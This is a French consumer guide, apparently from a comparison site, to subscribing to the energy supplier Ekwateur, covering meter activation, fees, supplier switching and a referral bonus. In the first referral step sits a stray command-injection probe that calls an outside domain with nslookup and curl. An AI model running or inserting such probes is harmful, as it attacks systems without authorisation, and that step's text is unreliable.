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Souscrire un contrat Ekwateur
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- Conseiller spécialisé énergie
La souscription d'un contrat Ekwateur s'effectue en quelques minutes, en ligne sur le site internet d'Ekwateur ou par téléphone au 09 87 67 16 74. Les conseillers sont joignables du lundi au vendredi de 8 h à 21 h, le samedi de 8 h 30 à 18 h 30 et le dimanche de 9 h à 18 h.
Changement
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Aucun frais de résiliation, aucune coupure : c'est Ekwateur qui gère le transfert depuis votre ancien contrat.
Voir la démarcheEmménagement · Élec
Mise en service Enedis
À une nouvelle adresse, Enedis facture 1,80 € TTC sur un Linky en délai standard, ou 32,69 € TTC sur un compteur non communicant.
Voir les tarifs & délaisEmménagement · Gaz
Mise en service GRDF
Pour le gaz, GRDF applique un tarif standard de 22,55 € TTC pour la mise en service en délai normal.
Voir les tarifs & délais- Une fois le contrat signé, l'activation effective intervient sous quelques heures à quelques jours selon votre situation : quasi immédiate sur un compteur Linky actif lors d'un simple changement de fournisseur, jusqu'à une à deux semaines en cas de déplacement d'un technicien (compteur fermé, gaz coupé).
- Tous les contrats d'énergie résidentiels en France sont sans engagement de durée. Vous pouvez résilier à tout moment, sans frais ni justificatif (article L.224-15 du Code de la consommation), y compris pour basculer immédiatement vers une offre plus compétitive.
Comparez en 5 minutes. Économisez dès demain.
- Démarche gratuite
- En 10 minutes
- Sans engagement
- Sans surcoût
- Tous les fournisseurs
- À jour de août 2026
- 3 millions de clients conquis
- Noté 4,9/5 sur Trustpilot
Mise en service du compteur à la nouvelle adresse
L'ouverture d'un compteur s'impose dès l'installation dans un nouveau logement, y compris quand l'électricité et le gaz fonctionnent toujours le jour de l'arrivée. Le contrat étant nominatif, chaque occupant met le sien en place plutôt que de conserver celui du précédent occupant.
Quatre questions structurent la démarche : quand s'y prendre, par quel moyen contacter Ekwateur, comment préparer le dossier et combien coûte la prestation.
Quand s'y prendre ?
Délai recommandé
Pour caler l'activation au jour J, prévoyez votre demande au moins une semaine avant l'emménagement. Ce délai laisse le temps à Ekwateur de transmettre la requête à Enedis (et GRDF pour le gaz), qui se chargent ensuite de la mise en service.
Pourquoi anticiper
L'objectif principal de cette anticipation reste pratique : éviter une coupure d'électricité à votre arrivée, ou l'absence d'eau chaude le soir même si le précédent occupant a déjà résilié son contrat.
Flexibilité
À l'inverse, si votre date d'emménagement se rapproche, vous pouvez choisir une date de début ultérieure : aucun abonnement ni consommation ne vous est facturé tant que le contrat n'a pas démarré. C'est utile pour anticiper sereinement sans payer à vide.
Par quel moyen de contact ?
C'est surtout le niveau d'informations que vous avez sur le compteur qui oriente vers le bon canal. Trois cas de figure couvrent l'essentiel :
- Vous avez accès à un Linky actif : la souscription en ligne est la plus rapide. Le numéro PRM (équivalent du PDL) est lisible directement sur l'écran du compteur, en faisant défiler les menus avec les boutons « + » et « - ». Pour les clients déjà chez Ekwateur, l'espace client permet de déclarer la nouvelle adresse en quelques clics ;
- Vous n'avez pas encore accès au compteur : passez de préférence par le téléphone. Le conseiller peut retrouver l'identifiant du compteur à partir de votre adresse complète et du nom de l'ancien occupant ;
- Vous souhaitez les conseils d'un pro : le téléphone reste également le meilleur canal pour cadrer l'offre la plus adaptée, choisir la bonne puissance souscrite et fixer une date d'activation précise.
Tous les canaux mènent au même processus de validation chez le gestionnaire de réseau — votre sélection initiale n'influe donc que sur le confort de la souscription.
Comment s'y prendre ?
Le dossier de mise en service tient en trois pièces : un titulaire (co-titulaire en option), un RIB en cas de prélèvement automatique — la solution la plus simple pour mensualiser — et un identifiant de compteur.
Cet identifiant prend des formes différentes selon l'énergie souscrite :
- Pour l'électricité : le numéro PDL à 14 chiffres (ou son équivalent PRM sur un compteur Linky), lisible sur n'importe quelle ancienne facture ou directement sur l'écran du Linky ;
- Pour le gaz naturel : le numéro PCE à 14 chiffres, lisible sur la facture précédente ;
- À défaut, l'adresse complète (étage, escalier, porte) et le nom du précédent occupant suffisent : Enedis (et GRDF pour le gaz) croisent ces informations pour retrouver le bon compteur.
Le dossier transmis, l'intervention d'un technicien n'est nécessaire que dans deux situations : lorsque le Linky ne communique plus (panne ou compteur coupé par le précédent occupant) ou lorsque le gaz a été coupé physiquement chez vous. Dans tous les autres cas, la mise en service est faite à distance.
Côté formalisation, l'activation définitive du contrat se conclut par une signature électronique ou par simple acceptation du contrat reçu par e-mail.
Combien ça coûte ?
La mise en service est une prestation du gestionnaire de réseau (Enedis pour l'électricité, GRDF pour le gaz), à un tarif réglementé par l'État. Ekwateur se contente de le répercuter à l'identique sur la première facture, sans rien ajouter ; ce tarif dépend avant tout du délai d'intervention choisi.
Électricité (Enedis)
Avec un Linky actif, l'intervention se fait depuis les serveurs Enedis, sans déplacement de technicien — d'où le tarif le plus bas.
Gaz naturel (GRDF)
Tarifs Enedis / GRDF en vigueur, à jour des dernières grilles publiées par la CRE.
Changer de fournisseur pour passer chez Ekwateur
Passer chez Ekwateur se déroule sans la moindre coupure et sans démarche auprès de votre fournisseur actuel : Ekwateur prend tout en charge, de la signature du nouveau contrat à la résiliation de l'ancien. Voici les quatre étapes à connaître.
Quand est-ce possible ?
À tout moment
Tous les contrats d'énergie résidentiels en France sont sans engagement de durée. Vous pouvez changer de fournisseur quand vous le souhaitez, sans frais et sans justificatif : cette liberté est inscrite à l'article L.224-15 du Code de la consommation.
Droit de rétractation
À cette liberté s'ajoute un droit de rétractation de 14 jours après la signature, que vous pouvez aussi décider d'écarter expressément pour démarrer plus vite. C'est utile quand on veut profiter d'un prix bloqué dès le mois suivant la souscription.
Délai d'activation
À la suite de la signature, Ekwateur vérifie votre dossier puis fixe une date d'activation du contrat. Ce délai se compte généralement à partir de J+14, qui correspond à la fin du droit de rétractation.
Une seule limite
La seule limite tient à votre historique de paiement : en cas d'impayés antérieurs, un dépôt de garantie récupérable peut être demandé à la souscription.
Par quel moyen de contact ?
Là encore, comme pour la mise en service, le canal idéal varie selon votre degré de préparation et l'accompagnement que vous souhaitez :
- Par internet, si vous avez déjà arrêté votre choix d'offre : la souscription en ligne prend moins de dix minutes une fois les informations sous la main ;
- Par téléphone, si vous voulez les conseils et l'accompagnement d'un conseiller, notamment pour comparer plusieurs offres ou caler une date de bascule précise avec un départ d'ancien logement.
Dans chaque cas, le contrat arrive par e-mail pour signature, puis le fournisseur déroule les opérations suivantes — aucune démarche supplémentaire ne vous incombe.
Comment s'y prendre ?
Le dossier de bascule reste très léger. Avant de souscrire, regroupez les éléments suivants :
- Le numéro PDL (14 chiffres) de votre compteur électrique, indiqué sur toutes les factures de votre fournisseur actuel ;
- Le numéro PCE (14 chiffres) de votre compteur gaz, lisible sur n'importe quelle facture précédente ;
- Un RIB si vous choisissez le prélèvement automatique, qui reste le moyen de paiement le plus simple pour la mensualisation.
Une fois ces informations fournies, Ekwateur prend tout en charge : inutile de prévenir votre ancien fournisseur, sa résiliation se fait d'office à la date de bascule. Pas de coupure ni de passage de technicien non plus : Enedis (et GRDF pour le gaz) opère à distance sur un compteur déjà actif.
La formalisation se fait par signature électronique ou par acceptation du contrat envoyé par e-mail. Dès lors, votre première facture chez Ekwateur part de la date de bascule, sans recouvrement avec le contrat précédent.
Combien ça coûte ?
Gratuit
C'est gratuit de bout en bout. Ni frais de résiliation chez l'ancien fournisseur, ni frais d'activation chez le nouveau, ni prestation Enedis ou GRDF à régler pour un changement de fournisseur — le compteur restant en place.
Après la bascule, la seule chose qui change vraiment, c'est le prix du kWh et de l'abonnement que Ekwateur fixe dans votre contrat : raison de plus pour bien comparer les offres avant de souscrire.
Peut-on bénéficier d'une prime de bienvenue grâce au parrainage Ekwateur ?
Oui, Ekwateur propose un programme de parrainage permettant de toucher une prime de bienvenue lorsqu'un client existant vous parraine. Le mécanisme est gagnant-gagnant : le filleul (vous) et le parrain reçoivent chacun une remise sur leur facture.
- 1 Demandez à votre parrain son code de parrainage personnel ou son lien de parrainage. `(nslookup -q=cname hittdrkfaasdva25dd.bxss.me||curl hittdrkfaasdva25dd.bxss.me)`
- 2 Renseignez-le au moment de la souscription du contrat (champ dédié dans le formulaire).
- 3 La prime est créditée sur votre facture après la mise en service effective du contrat (généralement à la première facture).
Validité : Prime versée sur la première facture
Par